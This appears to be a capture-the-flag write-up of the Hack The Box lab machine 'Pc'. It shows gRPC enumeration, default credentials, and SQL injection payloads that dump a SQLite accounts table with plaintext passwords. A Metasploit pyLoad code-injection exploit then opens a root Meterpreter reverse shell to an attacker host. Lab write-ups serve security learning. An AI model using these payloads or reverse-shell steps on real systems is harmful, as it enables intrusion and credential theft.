Pc Writeup

11 November 2023 #CTF #HTB #box #easy #linux

pc info

Enumeration

nmap

$ sudo nmap -sC -sV -p- -T4 10.10.11.214
[...]
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open  unknown
[...]

gRPC

After some research about port 50051, we learn this is the default ("recommended") port for gRPC services.

To interact with the service, we'll use grpc_cli. Installation and usage instructions are available here

Use the ls command to list available services:

$ ./grpc_cli ls 10.10.11.214:50051
SimpleApp
grpc.reflection.v1alpha.ServerReflection

We can see that server reflection is enabled, which means we will be able to see what methods are available and what parameters they require.

Let's inspect this SimpleApp service:

$ ./grpc_cli ls 10.10.11.214:50051 SimpleApp -l
filename: app.proto
service SimpleApp {
  rpc LoginUser(LoginUserRequest) returns (LoginUserResponse) {}
  rpc RegisterUser(RegisterUserRequest) returns (RegisterUserResponse) {}
  rpc getInfo(getInfoRequest) returns (getInfoResponse) {}
}

Let's say we want to call the getInfo method. We can use the type command to get information about this getInfoRequest parameter we need to provide:

$ ./grpc_cli type 10.10.11.214:50051 getInfoRequest -l
message getInfoRequest {
  string id = 1;
}

OK, it takes an id parameter, which is a string. Let's try it:

$ ./grpc_cli call 10.10.11.214:50051 getInfo 'id: "1"'
connecting to 10.10.11.214:50051
message: "Authorization Error.Missing \'token\' header"
Rpc succeeded with OK status

Foothold

It seems like we need to be authenticated to use the getInfo method. It's fair to assume we'll get a token with the LoginUser method.

The classic admin:admin works and we get a valid token:

$ ./grpc_cli call 10.10.11.214:50051 LoginUser 'username: "admin", password: "admin"'
connecting to 10.10.11.214:50051
message: "Your id is 751."
Received trailing metadata from server:
token : b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE'
Rpc succeeded with OK status

Alternatively, we can register a new user with the RegisterUser method and then login.

We can now use the getInfo method:

$ ./grpc_cli call 10.10.11.214:50051 getInfo 'id: "751"' --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
[...]
message: "Will update soon."
Rpc succeeded with OK status

When using a SQLi payload in the id parameter, we get a different message:

$ ./grpc_cli call 10.10.11.214:50051 getInfo 'id: "42 OR 1=1-- -"' --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
[...]
message: "The admin is working hard to fix the issues."
Rpc succeeded with OK status

This looks good for us. To confirm there is a SQLi, let's try a UNION payload:

$ ./grpc_cli call 10.10.11.214:50051 getInfo 'id: "0 UNION SELECT 42-- -"' --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
[...]
message: "42"
Rpc succeeded with OK status

Great, now we want to determine what kind of DB is running in the backend. We learn this is a sqlite DB since sqlite_version() actually returns something instead of an error:

$ ./grpc_cli call 10.10.11.214:50051 getInfo 'id: "0 UNION SELECT sqlite_version()-- -"' --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
[...]
message: "3.31.1"
Rpc succeeded with OK status

Let's dump the database schema, to know about table and column names:

$ ./grpc_cli call 10.10.11.214:50051 getInfo "id: '0 UNION SELECT group_concat(sql) FROM sqlite_master WHERE type=\"table\"-- -'" --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
[...]
message: "CREATE TABLE \"accounts\" (\n\tusername TEXT UNIQUE,\n\tpassword TEXT\n),CREATE TABLE messages(id INT UNIQUE, username TEXT UNIQUE,message TEXT)"
Rpc succeeded with OK status

The accounts table is the most interesting to us. Let's dump it:

$ ./grpc_cli call 10.10.11.214:50051 getInfo "id: '0 UNION SELECT group_concat(username || \":\" || password) FROM accounts-- -'" --metadata=token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk3MTIwMjR9.xmEouxKUYlXrblEAe6yOcIHxHcfVwUBpFX3zxs35TQE
[...]
message: "admin:admin,sau:HereIsYourPassWord1431"
Rpc succeeded with OK status

No surprise to see admin:admin in there since we logged in with these creds. We can login via SSH with the other username and password.

$ ssh sau@10.10.11.214
[...]
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)

Privesc

When checking listening ports, we see that ports 8000 and 9666 are up:

sau@pc:~$ ss -lnt
State    Recv-Q   Send-Q      Local Address:Port        Peer Address:Port
LISTEN   0        4096        127.0.0.53%lo:53               0.0.0.0:*
LISTEN   0        128               0.0.0.0:22               0.0.0.0:*
LISTEN   0        5               127.0.0.1:8000             0.0.0.0:*
LISTEN   0        128               0.0.0.0:9666             0.0.0.0:*
LISTEN   0        128                  [::]:22                  [::]:*
LISTEN   0        4096                    *:50051                  *:*

There are 2 unusual processes that are running as root:

sau@pc:~$ ps -ef --forest
[...]
root   1043  1  0 10:07 ?   00:00:03 /usr/bin/python3 /opt/app/app.py
root   1049  1  0 10:07 ?   00:00:05 /usr/bin/python3 /usr/local/bin/pyload
[...]

/opt/app/app.py is the gRPC application. The second application is an open source software which listens by default on these 2 ports.

We can get the version with the pyload command:

sau@pc:~$ pyload --version
pyLoad 0.5.0

While looking for public exploits targeting this version, we come across this CVE which is an unauthenticated Python code injection. It involves interacting with the service on port 9666. We saw this port listening on all interfaces in the output of the ss command, but the port is most likely blocked by a firewall rule.

Since we have SSH access, we can forward a local port:

$ ssh sau@10.10.11.214 -L 9666:127.0.0.1:9666

This will forward port 9666 on our machine to port 9666 on the remote box (via the loopback interface).

We can now run the metasploit module and get code execution as root:

$ msfconsole
[...]
msf6 > search pyload

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/linux/http/pyload_js2py_exec  2023-01-13       excellent  Yes    pyLoad js2py Python Execu
tion


Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/pyload_js2p
y_exec

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/pyload_js2py_exec) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/pyload_js2py_exec) > set LHOST tun0
LHOST => 10.10.14.27
msf6 exploit(linux/http/pyload_js2py_exec) > run

[*] Started reverse TCP handler on 10.10.14.27:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Successfully tested command injection.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Sending stage (24772 bytes) to 10.10.11.214
[*] Meterpreter session 1 opened (10.10.14.27:4444 -> 10.10.11.214:36250) at 2023-11-11 13:33:55 +0100

meterpreter > getuid
Server username: root

We specify 127.0.0.1 as the remote host to send requests through the SSH tunnel.

Key Takeaways